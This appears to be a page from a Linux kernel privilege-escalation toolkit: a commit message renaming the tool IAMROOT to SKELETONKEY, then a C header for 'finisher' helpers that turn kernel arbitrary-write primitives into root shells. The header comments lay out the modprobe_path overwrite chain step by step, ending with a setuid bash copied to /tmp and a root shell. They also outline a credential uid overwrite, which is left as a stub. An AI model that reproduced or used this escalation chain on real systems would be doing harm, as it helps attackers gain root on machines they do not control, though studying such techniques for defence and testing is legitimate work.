9593d90385
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
81 lines
3.6 KiB
C
81 lines
3.6 KiB
C
/*
|
|
* SKELETONKEY — shared finisher helpers for full-chain root pops.
|
|
*
|
|
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
|
* write, slab UAF, etc.). The conversion to root is almost always one
|
|
* of two patterns:
|
|
*
|
|
* A) "modprobe_path overwrite":
|
|
* - kernel arb-write at &modprobe_path[0] with a userspace path
|
|
* - execve() an unknown-format binary triggers do_coredump's
|
|
* fallback to call_modprobe(), which spawns modprobe_path
|
|
* as init/root running our payload
|
|
*
|
|
* B) "current->cred->uid overwrite":
|
|
* - kernel arb-write at ¤t_task->real_cred->uid = 0
|
|
* (and cap_*, fsuid, etc. for completeness)
|
|
* - setuid(0); execve("/bin/sh")
|
|
*
|
|
* Pattern (A) is much simpler — only one kernel address needed
|
|
* (modprobe_path) and the trigger is just execve("/tmp/unknown").
|
|
* Pattern (B) needs a self-cred chase + multiple writes.
|
|
*
|
|
* Modules provide their own arb-write primitive via the
|
|
* skeletonkey_arb_write_fn callback; this file wraps the rest.
|
|
*/
|
|
|
|
#ifndef SKELETONKEY_FINISHER_H
|
|
#define SKELETONKEY_FINISHER_H
|
|
|
|
#include <stdint.h>
|
|
#include <stddef.h>
|
|
#include <stdbool.h>
|
|
#include "offsets.h"
|
|
|
|
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
|
|
* `kaddr`. Module-specific implementation. Returns 0 on success,
|
|
* negative on failure. `ctx` is opaque module state. */
|
|
typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
|
|
const void *buf, size_t len,
|
|
void *ctx);
|
|
|
|
/* Trigger that fires the arb-write. Many modules need to set up the
|
|
* groomed slab THEN call the trigger. The trigger is a separate fn
|
|
* because some modules need to re-spray before each write. NULL is
|
|
* acceptable if the arb-write is self-contained. */
|
|
typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
|
|
|
|
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
|
|
* already populated `off->modprobe_path`. Implementation:
|
|
* 1. Write payload script to /tmp/skeletonkey-mp-<pid>
|
|
* 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
|
|
* 3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
|
|
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
|
|
* → our payload runs as root → payload writes /tmp/skeletonkey-pwn
|
|
* and/or copies /bin/bash to /tmp with setuid root
|
|
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
|
|
*
|
|
* Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
|
|
* via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
|
|
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
|
skeletonkey_arb_write_fn arb_write,
|
|
void *arb_ctx,
|
|
bool spawn_shell);
|
|
|
|
/* Pattern B: cred uid overwrite. Caller has populated init_task +
|
|
* cred offsets. Implementation:
|
|
* 1. Walk task linked list from init_task to find self by pid
|
|
* (this requires arb-READ too — not supplied here; B-pattern
|
|
* modules need to provide their own variant)
|
|
* For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
|
|
* helpful error. */
|
|
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
|
skeletonkey_arb_write_fn arb_write,
|
|
void *arb_ctx,
|
|
bool spawn_shell);
|
|
|
|
/* Diagnostic: tell the operator how to populate offsets manually. */
|
|
void skeletonkey_finisher_print_offset_help(const char *module_name);
|
|
|
|
#endif /* SKELETONKEY_FINISHER_H */
|